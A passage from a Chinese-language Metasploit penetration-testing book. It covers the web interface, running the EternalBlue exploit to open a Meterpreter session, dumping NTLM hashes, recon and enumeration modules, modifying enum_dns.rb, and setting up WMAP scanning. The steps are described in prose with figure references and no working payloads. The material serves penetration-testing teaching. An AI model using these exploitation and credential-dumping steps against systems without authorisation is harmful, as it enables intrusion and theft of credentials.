Tagging）功能，这项可选功能将根据主机的操作系统将主机标记为os_windows、os_linux和os_unknown。当你单击Import Data时，将导入扫描数据，如图3-35所示。 图 3-35 6）可以返回Project Overview菜单以查看更新的项目，如图3-36所示。 图 3-36 7）如图3-36所示，添加一个运行着15个服务的新主机。单击15 services detected超链接时，将转到服务（Services）页面。 8）也可以通过依次单击Project→[WORKSPACE]→Services来查看同一页面，如图3-37所示。 图 3-37 在下一节中，我们将介绍Metasploit模块，这些模块将用于进一步枚举和对目标主机进行漏洞利用。 注意：以下是可以导入的所有受支持的第三方扫描报告，包括Foundstone Network Inventory XML,Microsoft MBSA SecScan XML,nCircle IP360 XMLv3 and ASPL,NetSparker XML,Nessus NBE,Nessus XML v1和v2,Qualys Asset XML,Qualys Scan XML,Burp Sessions XML,Burp Issues XML,Acunetix XML,AppScan XML,Nmap XML,Retina XML,Amap Log,Critical Watch VM XML,IP Address List,Libpcap Network Capture,Spiceworks Inventory Summary CSV和Core Impact XML。"},
    {"text": "未知 3.4.4 模块选择 Metasploit社区版的模块与MSF的模块相同。根据实际情况，我们可以使用辅助模块、漏洞利用模块或后渗透模块。首先让我们看一下辅助模块。 3.4.4.1 辅助模块 在本例中，我们有一个目标主机，其IP为192.168.2.17。你可以在图3-38中看到此主机上运行的服务。 图 3-38 从网络渗透测试的角度来看，攻击者肯定会研究对端口445/tcp（SMB）的利用。因此，让我们针对SMB使用一个模块： 1）单击Project中的Modules选项卡以显示模块（Modules）页面，如图3-39所示。 2）对于SMB，可以使用SMB版本检测辅助模块，通过搜索栏进行搜索，如图3-40所示。 图 3-39 图 3-40 3）选择模块后，将显示模块选项页面。你可以设置目标地址以及其他一些选项（如果需要），如图3-41所示。 4）单击Run Module（见图3-41）将执行该模块，并显示该模块的输出，如图3-42所示。 5）你可以通过Project→Analysis→Notes来确认模块找到的结果，如图3-43所示。 对目标进行枚举后，就可以使用漏洞利用模块了。 图 3-41 图 3-42 3.4.4.2 使用一个漏洞利用模块 要使用漏洞利用模块，请按照下列步骤操作。 1）单击Project项下的Modules选项，然后搜索EternalBlue利用漏洞。这是一种非常可靠的漏洞利用方法，可用于图3-44所示情况。 图 3-43 图 3-44 2）你可以在这里设置目标地址和载荷选项。执行漏洞利用后，载荷（例如，Meterpreter）将被注入内存，并且Meterpreter shell将打开，如图3-45所示。 3）单击Run Module将启动漏洞利用模块。结果将显示在屏幕上，并会将一个ID分配给任务，如图3-46所示。 成功利用漏洞后，你将收到有关新打开会话的通知。 3.4.4.3 会话交互 利用成功后，将建立一个会话，你将在项目标签栏中收到通知。 1）要查看打开的会话，需要单击项目标签栏中的Sessions选项卡，如图3-47所示。 图 3-45 图 3-46 图 3-47 2）要与任何打开的会话进行交互，只需单击会话ID。从图3-48中可以看到MSF Web界面支持的会话交互功能。 图 3-48 以下是可用于会话交互的选项： ·Collect System Data（收集系统数据）： 此选项使你可以收集系统证据和敏感数据，例如密码、系统信息、屏幕截图等。此功能仅在Metasploit Pro版本中可用。 ·Virtual Desktop（虚拟桌面）： 此选项将注入虚拟网络计算（VNC）DLL并在给定端口上启动VNC服务，如图3-49所示。 你可以通过图3-50所示端口与目标系统的桌面进行交互。 图 3-49 图 3-50 注意：用户将被通知进入VNC连接。 ·Access Filesystem（访问文件系统）： 使用此选项，你可以浏览文件系统，甚至可以上传、下载和删除文件，如图3-51所示。 ·Search Filesystem（搜索文件系统）： 如果要搜索特定文件或执行通配符搜索，则可以使用图3-52所示选项。 ·Command Shell（命令Shell）： 如果要访问Meterpreter Command Shell，可以单击此按钮打开Command Shell，如图3-53所示。 你可以在给定的输入框中执行命令，结果如图3-54所示。 该窗口仅支持Meterpreter命令，可以使用shell运行系统命令，如图3-55所示。 ·Create Proxy Pivot（创建代理跳板）： 创建代理跳板与添加路由跳板类似，如图3-56所示。 图 3-51 图 3-52 图 3-53 图 3-54 图 3-55 如果要连接到内部网络以进一步利用漏洞，可以使用图3-57所示选项。 ·Create VPN Pivot（创建VPN跳板）： 你可以使用此选项在受感染的计算机上创建加密的第2层隧道，然后将所有网络流量路由到该目标计算机。这将为你提供完全的网络访问权限，就好像你在本地网络上一样，没有边界防火墙阻止你的流量。 图 3-56 图 3-57 ·Change Transport（更改传输）： 要更改会话的传输机制，可以使用此选项，如图3-58所示。 首先，你需要启动特定传输的处理程序；否则，该过程将失败。 ·Terminate Session（终止会话）： 使用此选项后，会话将终止。要与会话进行交互，你将不得不再次开始利用过程。 图 3-58 接下来，让我们看一下Web界面中可用的后渗透模块。 3.4.4.4 后渗透模块 对于后渗透，你可以使用界面中可用的后渗透模块，如图3-59所示。 图 3-59 1）我们对图3-59中显示的目标使用hashdump postexploitation模块。要使用此模块，只需检查需要为哪个会话执行这个模块，如图3-60所示。 图 3-60 2）单击Run Module以执行hashdump模块。该模块将从SAM数据库中转储（dump）NTLM哈希值。新的任务ID将分配给该模块，你可以在任务栏中查看这个任务，如图3-61所示。 图 3-61 3）可以在Project标签栏中的Credentials菜单中查看提取的哈希值，如图3-62所示。 你可以根据情况使用不同的后渗透模块。 图 3-62 未知 3.5 小结 在本章中，我们学习了如何使用Metasploit的Web界面。我们首先安装Metasploit并进行了相应的设置，然后学习了一些模块的使用方法，例如创建项目和从其他工具导入扫描结果。在了解Metasploit Web界面中可用的后渗透模块之前，我们先研究了辅助模块和漏洞利用模块。 在下一章中，我们将学习如何使用Metasploit对不同类型的目标、协议和端口进行侦察。"},
    {"text": "未知 3.6 问题 1.Metasploit Web界面具有哪些功能？ 2.在我的组织中，必须能在任何Web服务器上使用公司的SSL证书。我可以为Metasploit Web界面提供自定义的SSL证书吗？ 3.哪些Web浏览器与Metasploit Web界面兼容？ 4.Metasploit是否支持RESTful API？ 5.Metasploit Web界面是否支持自定义报告？ 未知 3.7 拓展阅读 有关Web界面的更多信息，可以在官方文档页面上找到，网址为https://metasploit.help.rapid7.com/docs/metasploit-web-interface-overview。 未知 第二篇 Metasploit的渗透测试生命周期 本篇包括四章，重点介绍使用Metasploit进行Web应用程序的侦察、枚举、评估和利用。我们还将详细介绍WMAP和Nessus插件。 本篇包括以下章节： ·第4章 使用Metasploit进行侦察 ·第5章 使用Metasploit进行Web应用枚举 ·第6章 使用WMAP进行漏洞扫描 ·第7章 使用Metasploit（Nessus）进行漏洞评估 未知 第4章 使用Metasploit进行侦察 信息收集或侦察（recon）是渗透测试周期中最关键、最耗时的阶段。当测试一个Web应用程序时，你需要收集尽可能多的信息。拥有的信息越多越好，信息可以是任何类型的，比如Web服务器标识、IP地址、打开的端口列表、任何受支持的HTTP标头等。此类信息将帮助渗透测试人员在Web应用上执行测试检查。 在本章中，我们将学习使用Metasploit进行侦察，研究可用于执行侦察的模块。 本章将涵盖以下内容： ·侦察简介。 ·主动侦察。 ·被动侦察。 未知 4.1 技术条件要求 以下是学习本章内容的技术条件要求： ·安装了Web界面的Metasploit社区版。 ·基于*nix的系统或Microsoft Windows系统。 ·可以访问Shodan和Censys账户以获取API密钥。 未知 4.2 侦察简介 简而言之，侦察是一个阶段，在这个阶段中，渗透测试人员将收集与他们正在测试的Web应用程序有关的尽可能多的信息。侦察可以分为两种类型： ·主动侦察： 直接从目标那里收集信息。 ·被动侦察： 通过第三方来源收集有关目标的信息。 在以下各节中，我们将详细介绍这两种类型。"},
    {"text": "未知 4.2.1 主动侦察 主动侦察（或主动攻击）是侦察的一种方式，在侦察期间，测试人员可以通过自己的系统或虚拟专用服务器（VPS）与目标服务器/系统进行通信。在本章中，我们将介绍一些使用Metasploit中的内置脚本执行主动和被动侦察的方法。 4.2.1.1 标识抓取 标识（banner）抓取是一种用于获取有关网络上设备信息的技术，例如操作系统、在开放端口上运行的服务、使用的应用程序或版本号。标识抓取是信息收集阶段的一部分，Metasploit有很多可用于收集来自不同类型服务标识的模块。 在以下示例中，我们将使用http_version模块检测给定IP上基于HTTP协议运行的服务的版本号和名称。 1）单击Project→Modules，然后在Search Modules框中输入http_version，如图4-1所示。 图 4-1 2）单击模块名称，这会将我们重定向到模块选项，在这里我们可以指定目标地址和其他设置，如图4-2所示。 在本例中，我们将选择端口80，因为我们知道HTTP协议正在端口80上运行。可以将该值更改为运行HTTP的任何端口号。 3）设置完所有内容后，我们单击图4-2中所示的Run Module按钮，这将创建一个新任务。单击Project Options选项卡上的Tasks可以查看任务的状态，如图4-3所示。 4）模块执行完成后，可以返回到Analysis选项卡，然后单击运行模块所依据的Host IP，如图4-4所示。 5）我们将看到该模块已检测到并打印了SERVICE INFORMATION下在80端口上运行的标识，如图4-5所示。 接下来，让我们看看如何检测Web应用程序的HTTP标头。 图 4-2 图 4-3 图 4-4 图 4-5 4.2.1.2 HTTP标头检测 现在，让我们尝试检测Web应用程序的HTTP标头。HTTP标头可以揭示有关应用程序的许多信息，例如所使用的技术、内容长度、cookie到期日期、XSS保护等。 1）导航到Modules页面并搜索http_header，如图4-6所示。 图 4-6 2）单击模块名称将导航至选项页面，在这里我们可以指定目标地址、端口号、线程等，如图4-7所示。 3）设置完成后，单击Run Module，将启动一个新任务，如图4-8所示。 4）任务完成后，可以转到Analysis选项卡，在Notes标签下将能够看到由扫描器模块发现的所有标头，如图4-9所示。 接下来，让我们看一下Web robot页面枚举。 4.2.1.3 Web robot页面枚举 robots.txt（机器人排除标准）是网站用来与爬虫或机器人通信的方法。让我们看看枚举的步骤： 图 4-7 图 4-8 1）要阻止Googlebot爬取某个子文件夹，我们可以使用以下语法： 2）为了阻止所有机器人抓取网站，我们可以在文本文件中加入以下数据： 图 4-9 在本节中，我们将使用robots_txt辅助模块来获取网站的robots.txt文件内容： 1）首先使用robots_txt关键字搜索模块，如图4-10所示。 图 4-10 2）单击该模块会重定向到选项页面，在这里我们可以设置Target Addresses、RPORT、PATH、VHOST等。在本例中，我们以www.packtpub.com作为VHOST，如图4-11所示。 3）单击Run Module后，将创建一个新任务，我们可以在Tasks窗口中查看正在运行的脚本的状态，如图4-12所示。 4）任务完成后，我们可以返回Analysis选项卡，然后单击目标主机的Notes标签，以查看网站的robots.txt文件中列出的所有目录，如图4-13所示。 图 4-11 图 4-12 图 4-13 接下来，让我们在给定的网站上查找一些配置错误的Git存储库。 4.2.1.4 查找隐藏的Git存储库 有时，在生产服务器上从Git部署代码时，开发人员会将git文件夹保留在公共目录中。这很危险，因为它可能使攻击者可以下载应用程序的整个源代码。 让我们看一下git_scanner模块，它可以帮助我们发现网站上配置错误的存储库。 1）首先搜索git_scanner关键字，如图4-14所示。 图 4-14 2）单击该模块会重定向到模块选项页面，我们可以指定目标地址和端口，然后单击Run Module，如图4-15所示。 图 4-15 3）创建一个新任务，如图4-16所示。 图 4-16 4）任务完成后，我们可以转到Analysis选项卡，然后单击主机。在Notes标签中，我们看到辅助模块已找到存储库的config和index文件，如图4-17所示。 图 4-17 5）接下来，我们可以转到Captured Data选项卡以查看由辅助模块找到的文件的内容，如图4-18所示。 图 4-18 6）单击View查看config文件的内容，其中包含git URL、版本和一些分支信息。此信息还可用于下载应用程序的整个源代码，如图4-19所示。 接下来，我们将进行开放代理检测。 4.2.1.5 开放代理检测 这是一个非常简单的脚本，它允许我们检查在端口上找到的代理服务是否为开放代理。如果代理服务是开放式代理，则可以将服务器用作代理，尤其是在红队活动期间用来执行不同的攻击并避免被检测。可以通过以下步骤完成： 图 4-19 1）首先在Modules选项卡中搜索open_proxy关键字，如图4-20所示。 图 4-20 2）单击模块名称，将被重定向到设置IP、端口和URL的选项，以检查代理设置。 3）单击Run Module将创建一个新任务，如图4-21所示。 如果是开放式代理，我们将在任务窗口中看到一条消息，如图4-22所示。 现在，我们对使用Metasploit进行主动侦察有了进一步的了解，接下来我们将学习关于被动侦察的内容。 图 4-21 图 4-22"},
    {"text": "未知 4.2.2 被动侦察 被动侦查是一种在不主动接触系统的情况下收集有关目标信息的方法。我们将使用间接方法，例如Shodan和Censys来收集有关目标的信息。 Metasploit有很多辅助模块，可以帮助我们进行被动侦察。在本节中，我们将介绍一些使用Metasploit辅助模块执行被动侦察的方法。 4.2.2.1 归档的域URL 归档的域URL是执行被动侦察的最佳方法之一，因为它们会告诉我们有关网站及其URL的历史。有时，虽然网站已更改，但服务器上保留了一些旧文件和文件夹。这些可能包含漏洞，并允许我们获得访问权限。Archived.org和Google Cache是我们用来搜索归档的域URL的两个途径。 Metasploit为此还专门内置了一个辅助工具： 1）我们可以在Search Modules页面中使用enum_wayback关键字来找到所需的辅助工具，如图4-23所示。 图 4-23 2）单击该模块，我们将被重定向到选项页面，你可以输入网站域名。然后，单击Run Module，如图4-24所示。 这将创建一个新任务，模块成功运行后，将在任务窗口中打印找到的输出，如图4-25所示。 4.2.2.2 Censys Censys是用于搜索连接到Internet的设备的搜索引擎。Censys是由开发ZMap的安全研究人员于2015年在密歇根大学创建的。 Censys持续扫描和记录Internet上的设备： 1）Metasploit具有内置的辅助模块，使我们能够进行Censys扫描。我们可以在模块搜索中使用censys关键字来找到脚本，如图4-26所示。 图 4-24 图 4-25 图 4-26 2）单击该模块将导航至选项页面，但在执行此操作之前，我们需要登录到censys.io并获取将在模块中使用的API ID和Secret，如图4-27所示。 图 4-27 3）我们在模块选项中输入API ID和Secret，然后将域名指定为目标地址，此处以packtpub.com为例，如图4-28所示。 4）单击Run Module将创建一个新任务。辅助模块将搜索不同的主机及其端口。结果如图4-29所示。 Metasploit还具有用于搜索Shodan和Zoomeye数据库的模块，如图4-30所示。 图4-31显示了shodan_search模块的输出。 图 4-28 图 4-29 5）要运行Zoomeye模块，我们可以像搜索Shodan一样搜索zoomeye关键字并运行该模块，如图4-32所示。 图 4-30 图 4-31 图 4-32 4.2.2.3 SSL侦察 组织使用安全套接层（Secure Socket Layer，SSL）协议来确保服务器与客户端之间的通信是加密的。在本节中，我们将研究Metasploit的一个SSL相关的模块，这个模块使用SSL Labs的API收集相关主机上运行的SSL服务的信息： 1）我们可以在模块搜索栏中搜索ssllabs关键字以找到该模块，如图4-33所示。 图 4-33 2）单击模块名称会将我们重定向到选项页面。在这里，我们设置目标并单击Run Module，如图4-34所示。 图 4-34 这将创建一个新任务，并将显示扫描结果和输出，如图4-35所示。 图 4-35 SSL可以透露很多内容，例如证书颁发机构、组织名称、主机和内部IP。我们可以使用同一模块来了解服务器上运行的SSL版本、检查服务器允许的密码，还可以检查目标站点是否启用了HTTP严格传输安全性（HTTP Strict Transport Security，HSTS）机制。 未知 4.3 小结 在本章中，我们学习了侦察的过程。首先使用HTTP标头进行主动侦察，然后是查找Git仓库。接着，我们继续学习了被动侦察，研究了Shodan和SSL分析，并使用归档的网页来获取与目标有关的信息。 在下一章中，我们将学习如何使用Metasploit执行基于Web的枚举，并将专注于HTTP方法枚举、文件和目录枚举、子域枚举等。 未知 4.4 问题 1.HTTP标头检测模块未显示任何输出。这是否意味着模块没有正常工作？ 2.Metasploit Web界面中的端口扫描有些问题。你有解决办法吗？ 3.在Metasploit框架中使用自定义模块时，是否可以在Metasploit Web界面中加载自定义模块？ 4.我的组织为我提供了安装在VPS上的Web界面版本的Metasploit。如何确定Web界面的登录页面受到保护？ 未知 4.5 拓展阅读 要了解有关这节主题的更多信息，可以查看以下URL： ·https://metasploit.help.rapid7.com/docs/replacing-the-ssl-certificate ·https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service ·https://www.offensive-security.com/metasploit-unleashed/scanner-http-auxiliary-modules/ 未知 第5章 使用Metasploit进行Web应用枚举 枚举是踩点（footprinting）的一个子集，它属于渗透测试执行标准（PTES）中情报收集的第二阶段。执行枚举的主要优点是可以找到攻击端点（入口），我们从中能够发起攻击或发送伪攻击载荷。在大多数渗透测试案例中，测试人员往往需要花费大约60%～70%的时间来收集信息，测试人员将使用这些信息来识别一些新漏洞。枚举做得越好，渗透测试的效果就越好。在本章中，我们将讨论以下内容： ·枚举简介。 ·DNS枚举。 ·文件枚举。 ·使用Metasploit进行爬行和抓取。 未知 5.1 技术条件要求 以下是学习本章所需的前提技术条件： ·安装Metasploit社区版。 ·基于*nix的系统或Microsoft Windows系统。 ·枚举的通用词表（wordlist），推荐使用SecLists。"},
    {"text": "未知 5.2 枚举简介 在枚举过程中，从初始踩点/侦察过程中收集到的所有信息都将被用到。为了对Web应用程序进行渗透测试，我们需要对枚举过程有很好的理解。侦察和枚举做得越好，就可以更快、更轻松地找到Web应用程序中的漏洞。通过枚举，我们可以找到以下信息： ·隐藏的文件和目录。 ·备份和配置文件。 ·子域和虚拟主机。 首先让我们看一下DNS枚举，以及如何使用Metasploit枚举DNS。 未知 5.2.1 DNS枚举 Metasploit可以使用dns_enum辅助模块从DNS记录中获取有关主机的信息。该模块使用DNS查询来获取诸如MX（Mail Exchanger，邮件交换器）、SOA（Start of Authority，起始授权机构）和SRV（Service，服务）记录之类的信息，你可以在网络内部或外部使用这个模块。有时，DNS服务被配置为可以公开访问，在这种情况下，我们可以使用dns_enum查找内部网络主机、MAC地址和IP地址。我们将在本节探讨dns_enum的用法。 1）可以在模块搜索选项中使用enum_dns关键字来查找模块，如图5-1所示。 图 5-1 2）单击模块（Modules）名称会重定向到选项页面，如图5-2所示。 图 5-2 在这里，我们可以设置目标的详细信息，例如我们正在使用的DNS服务器、域名以及我们希望模块获取的记录。 3）单击Run Module将创建一个新任务，输出如图5-3所示。 图 5-3 现在让我们看看如何进一步改进此模块以满足我们的需求并获取更多结果。 未知 5.2.2 更进一步——编辑源代码 Metasploit中的enum_dns模块有些过时了（我们可以通过检查TLD词表获取更新）。因此，需要定制该模块来满足我们的需求。方法是为enum_dns提供顶级域（TLD）词表，然后对条目进行解析和检查以查询记录。通过查看辅助模块的源代码，我们可以发现其查找的TLD列表中没有最近被启用的TLD，如图5-4所示。 我们可以查看modules/auxiliary/gather/enum.dns.rb文件的第302行，也可以通过以下链接在线访问该文件： 从上面的源代码中，我们可以看到TLD存储在tlds []数组中。我们通过执行以下步骤编辑代码实现TLD更新。你可以从互联网号码分配机构（Internet Assigned Numbers Authority，IANA）的网站找到最新的TLD列表，网址为http://data.iana.org/TLD/tlds-alpha-by-domain.txt。 图 5-4 1）从上面的URL下载TLD文件并删除以#开头的第一行，如图5-5所示。 图 5-5 2）在修改Metasploit模块之前，请使用以下命令备份enum_dns.rb文件： 请注意，Metasploit框架安装在/usr/local/share目录下。在本例中，我们将文件命名为enum_dns.rb.bak。 3）现在，使用任何一种文本编辑器打开enum_dns.rb文件，然后转到第29行，如图5-6所示。 图 5-6 4）让我们在代码中添加一个注册条目，以便将我们的TLD词表提供给Metasploit模块，如图5-7所示。 图 5-7 在此模块中，TLD枚举默认是被禁用的。从图5-7中可以看到，ENUM_TLD选项设置为TRUE时，可以通过将TLD替换为IANA TLD列表（旧列表）实现TLD扩展。 5）我们通过搜索ENUM_TLD字符串来查找function()，当TLD枚举选项处于启用状态时，将调用该函数。 从图5-8中可以看到，如果ENUM_TLD设置为TRUE，则将调用get_tld()函数。 图 5-8 6）现在让我们看一下get_tld()函数，如图5-9所示。 图 5-9 7）现在，我们通过添加一部分代码加载最新的TLD词表并将其保存在tlds []数组中，如图5-10所示。请注意，从图5-9中可以看出我们已经清空了TLD数组。 图 5-10 表5-1说明了图5-10中使用的函数和代码结构。 表 5-1 8）保存文件并在msfconsole中执行reload命令来重新加载框架中的模块，如图5-11所示。 图 5-11 9）使用定制的enum_dns模块并执行show options命令，如图5-12所示。 正如我们在图5-12中所看到的，我们已经把域设置为google.com来查找Google的TLD。我们还把TLD_WORDLIST选项设置为更新后的TLD词表。让我们执行它，如图5-13所示。 现在，更新后的Metasploit模块向我们显示了提供给模块本身的TLD。在下一节中，我们将使用Metasploit枚举文件和目录。 图 5-12 图 5-13"},
    {"text": "未知 5.3 枚举文件 枚举文件和目录是枚举阶段最重要的步骤之一。服务器端的一些小的错误配置可能会让我们找到以下文件： ·隐藏文件。 ·备份文件。 ·配置文件。 ·重复文件。 ·包含丰富信息的文件，如凭证文件、密码备份、错误日志、访问日志和调试跟踪。 这些文件中包含的信息可以帮助我们计划对目标的进一步攻击。 以下是Metasploit框架中提供的一些可以帮助我们进行信息收集的辅助模块： ·dir_scanner ·brute_dirs ·prev_dir_same_name_file ·dir_listing ·copy_of_file ·Backup_file 我们来看看上述辅助模块的一些示例： 1）可以使用HTTP Directory Scanner模块查找目录列表以及隐藏的目录，还可以使用dir_scanner关键字检索模块，如图5-14所示。 图 5-14 2）单击模块名称，将导航至选项页面，在这里我们可以指定目标IP/域名和端口号，如图5-15所示。 图 5-15 3）单击Run Module将创建一个新任务，我们可以在任务窗口中看到输出，如图5-16所示。 图 5-16 图5-16显示了该模块发现的不同目录。 4）扫描完成后，我们也可以在Hosts选项卡中查看目录列表，如图5-17所示。 图 5-17 5）转到Analysis选项卡，然后选择完成扫描的主机。 6）单击Vulnerabilities选项卡，将向显示辅助模块找到的所有目录的列表，如图5-18所示。同样，我们也可以使用本节开头列出的其他模块来执行进一步的枚举。 在下一小节中，我们将学习使用Web辅助模块进行爬行（crawling）和抓取（scraping）的方法。 图 5-18 未知 5.3.1 使用Metasploit进行爬行和抓取操作 Metasploit还允许我们使用辅助模块进行网页爬行和抓取操作。抓取对于通过定义的模式从网站的源代码中获取某些内容非常有用。它可以为我们提供有用的信息，例如从注释中提取目录、开发人员的电子邮件以及在后台进行的API调用。 1）为了进行爬行操作，我们可以使用crawl关键字来查找模块，如图5-19所示。 图 5-19 2）我们将使用msfcrawler模块，单击该模块会重定向到选项页面，并在其中定义目标、端口和深度。然后，单击Run Module，如图5-20所示。 图 5-20 3）一个新任务将被创建，我们将在任务窗口中看到页面列表，如图5-21所示。 图 5-21 4）我们也可以使用HTTP Scrape模块（auxiliary/scanner/http/scraper）来抓取网页，如图5-22所示。 图 5-22 其中，PATTERN（模式）字段用于查找所需元素的正则表达式。在本例中，我们想抓取https://prod.packtpub.com/上script标签内的所有内容，因此我们将模式设为<script\\type=\\\"text\\/javascript\\\"\\src=\\\"(.*)\\\"><\\/script>。 运行模块将创建一个新任务，模块将提取script标签中列出的所有数据，如图5-23所示。 图 5-23 接下来，我们将扫描虚拟主机。 未知 5.3.2 扫描虚拟主机 Metasploit还允许我们扫描在同一IP上配置的虚拟主机。虚拟托管是在单个服务器上托管多个域，并且每个域名都配置有不同的服务。它允许单个服务器共享资源： 1）我们将通过Metasploit控制台使用此模块。可以使用vhost_scanner关键字搜索vhost模块，如图5-24所示。 图 5-24 2）设置rhosts和domain。在本例中，我们使用的值是域名packtpub.com和IP地址151.101.21.124，如图5-25所示。 图 5-25 3）我们通过输入run来运行模块。模块将进行扫描，并打印出找到的所有虚拟主机，如图5-26所示。 图 5-26 该辅助模块也可以用于内部网络，以查找托管在同一服务器上但配置不同域的内部应用程序。 未知 5.4 小结 我们在本章介绍了枚举，这是渗透测试生命周期中最重要的部分。我们首先使用Metasploit模块枚举DNS，然后继续枚举文件和目录。最后，我们研究了爬虫模块以及vhost查找模块。 在下一章中，我们将学习有关使用Web应用程序扫描工具或WMAP的知识。WMAP是一个Metasploit插件，用于对目标Web应用程序执行漏洞扫描。 未知 5.5 问题 1.是否可以用自定义词典枚举文件和目录？ 2.是否可以通过自定义Metasploit载荷实现枚举自动化？ 3.必须使用正则表达式来抓取HTTP页面吗？ 未知 5.6 拓展阅读 以下是一些可供进一步阅读的内容： ·https://www.offensive-security.com/metasploit-unleashed/ ·https://resources.infosecinstitute.com/what-is-enumeration/ 未知 第6章 使用WMAP进行漏洞扫描 漏洞评估是识别、排序和分类网络或应用程序中漏洞的过程。它使组织可以了解其资产以及所面临的风险。使用Metasploit时，可以使用单独的辅助模块或插件来完成漏洞扫描工作。如果我们拥有自己的漏洞扫描器，则Metasploit框架还允许我们添加自己的自定义插件。 WMAP是一个Metasploit插件，用户可以使用这个插件对目标进行漏洞扫描。该插件的最佳特性之一是能够根据测试人员的要求使用尽可能多的Metasploit模块（包括自定义模块）进行漏洞扫描。测试人员可以创建多个配置文件来适应不同的场景。 本章涵盖以下内容： ·理解WMAP。 ·WMAP扫描过程。 ·WMAP模块执行顺序。 ·向WMAP添加模块。 ·使用WMAP进行集群扫描。 未知 6.1 技术条件要求 以下是学习本章内容所需满足的前提技术条件： ·Metasploit框架（https://github.com/rapid7/metasploitframework）。 ·基于*nix的系统或Microsoft Windows系统。 ·适用于Metasploit的WMAP插件。"},
    {"text": "未知 6.2 理解WMAP WMAP是一个Web应用程序扫描插件，用于扫描Web应用程序漏洞。它不是Burp Suite或Acunetix那样的专业扫描器，但具有自己的优势。在详细介绍WMAP之前，让我们先来了解它的架构。 WMAP架构简单而强大，它是作为插件加载到MSF的微型框架。它与Metasploit数据库连接，以获取任何先前完成的扫描结果。从数据库加载的结果（例如主机名、URL、IP等）将在Web应用程序扫描中使用。WMAP使用Metasploit模块（见图6-1）进行扫描，并且这些模块可以是任何类型——辅助、漏洞利用等。一旦WMAP开始扫描目标，发现的所有辅助模块和关键信息都将存储在MSF数据库中。WMAP的最强大功能之一是其分布式（集群）扫描功能（6.6节中将介绍此功能），该功能可以帮助WMAP通过n个节点（MSF从站）扫描任意数量的Web应用程序。 图 6-1 在详细介绍如何使用WMAP之前，让我们先了解一下这个过程。 未知 6.3 WMAP扫描过程 WMAP非常易于使用。我们在本节为想要学习如何使用这个插件的初学者定义了一个过程。这个过程分为四个阶段：数据侦察、加载扫描器、WMAP配置和启动，如图6-2所示。 让我们看一下第一阶段——数据侦察。 未知 6.3.1 数据侦察 在这个阶段，使用爬虫、代理和任何其他资源收集与目标相关的信息，然后将数据保存在MSF数据库中以备将来使用。可以使用第三方工具（例如Burp Suite或Acunetix等）获取数据。可以使用db_import命令将数据导入MSF，因为MSF支持许多第三方工具。让我们看一个将Burp扫描导入Metasploit的例子。 图 6-2 图6-3显示了db_import命令的输出。 图 6-3 以下是导出Burp Suite数据并将其导入Metasploit的步骤： 1）打开一个先前完成的扫描，可以是主动的也可以是被动的。在本例中，我们将使用对prod.packtpub.com的被动扫描结果。图6-4中的Issues选项卡显示了Burp发现的各种问题。 2）然后，我们将选择要转移到Metasploit的问题（issue），然后单击鼠标右键，选择Report selected issues命令，如图6-5所示。 3）系统会打开一个新窗口，要求我们选择报告的格式。我们选择XML，然后单击Next按钮，如图6-6所示。 4）我们可以在报告中指定所需的详细信息，然后单击Next按钮，如图6-7所示。 图 6-4 图 6-5 5）选择是否要包含选定问题的请求和响应。我们选择这两个选项，然后单击Next按钮，如图6-8所示。 6）选择想要导出的问题，然后单击Next按钮，如图6-9所示。 7）选择目标路径和文件名，然后单击Next按钮，如图6-10所示。 图 6-6 图 6-7 图 6-8 8）现在将导出报告，导出完成后，可以关闭窗口，如图6-11所示。 9）我们可以简单地使用以下命令将Burp Suite报表导入Metasploit： 图 6-9 图 6-10 图 6-11 图6-12显示了上述命令的输出。 图 6-12 10）导入完成后，我们可以使用hosts命令查看报告中的所有主机，如图6-13所示。 图 6-13 11）要查看从Burp Suite导入的漏洞，我们可以使用vulns命令，如图6-14所示。 图 6-14 将信息导入Metasploit后，WMAP会自动检测并加载相同的信息，这意味着Metasploit中的主机现在将自动添加为WMAP模块中的站点。 未知 6.3.2 加载扫描器 正如我们前面提到的那样，WMAP实际上是一个加载在MSF中的插件。你可以通过输入load命令并按Tab键查看MSF中插件的完整列表，如图6-15所示。 图 6-15 要开始加载过程，请按以下步骤操作： 1）使用load wmap命令加载WMAP插件，如图6-16所示。 图 6-16 2）加载插件后，可以使用问号（？）或help命令查看帮助，如图6-17所示。 图 6-17 接下来，我们将介绍WMAP配置。 未知 6.3.3 WMAP配置 我们已经学习了如何在数据侦察阶段将目标自动添加到WMAP中。还有另一种将数据加载到WMAP中的方法，即手动定义目标。 1）我们从创建一个新站点或工作区开始执行扫描。让我们看一下所有可用于站点创建的选项。输入wmap_sites -h，如图6-18所示。 图 6-18 2）现在我们添加站点。有两种添加站点的方法，一种是直接通过URL或IP添加，可以使用以下命令执行此操作： 图6-19显示了上述命令的输出。 图 6-19 3）第二种方法是使用虚拟主机。当我们必须扫描多个虚拟主机时，这种方法会非常有用。要添加虚拟主机，可以使用以下命令： 图6-20显示了上述命令的输出。 图 6-20 4）添加站点后，我们就可以用类似的方式添加目标，可以按IP/域添加，也可以按虚拟主机（虚拟主机/域）添加。我们可以使用以下命令通过IP添加目标： 图6-21显示了上述命令的输出。 图 6-21 5）使用以下命令通过虚拟主机添加目标： 图6-22显示了上述命令的输出。 6）要查看由WMAP运行的所有模块的列表，我们可以使用wmap_modules -l命令。该命令的输出如图6-23所示。 图6-24显示了用于文件/目录测试的模块。 图 6-22 图 6-23 图 6-24 此阶段还包括配置用来执行分布式WMAP扫描的节点。可以使用wmap_nodes命令来管理和配置节点。关于这方面的更多信息将在6.6节中讨论。完成最终配置后，下一阶段就是启动WMAP。"},
    {"text": "未知 6.3.4 启动WMAP 默认情况下，WMAP对目标运行所有模块，但是你可以更改模块的执行顺序（6.4节中将对此进行介绍）： 1）执行以下命令运行WMAP： 图6-25显示了上述命令的输出。 图 6-25 执行上述命令后，将开始运行加载的模块。WMAP没有暂停或恢复选项，因此你或者等待扫描完成，或者按Ctrl+C键来中断扫描过程。 2）要了解有关wmap_run命令的更多信息，可以使用wmap_run -h命令查看启动时可用的其他选项，如图6-26所示。 图 6-26 你甚至可以使用关键字字符串或正则表达式基于模块启动WMAP扫描。在本例中，我们使用一个字符串，该字符串将搜索已加载模块列表中的任何version关键字，如图6-27所示。 图 6-27 我们可以根据实际需要使用正则表达式。至此，我们已经了解了WMAP扫描过程的不同阶段，在下一节中我们将讨论WMAP的执行顺序。 未知 6.4 WMAP模块执行顺序 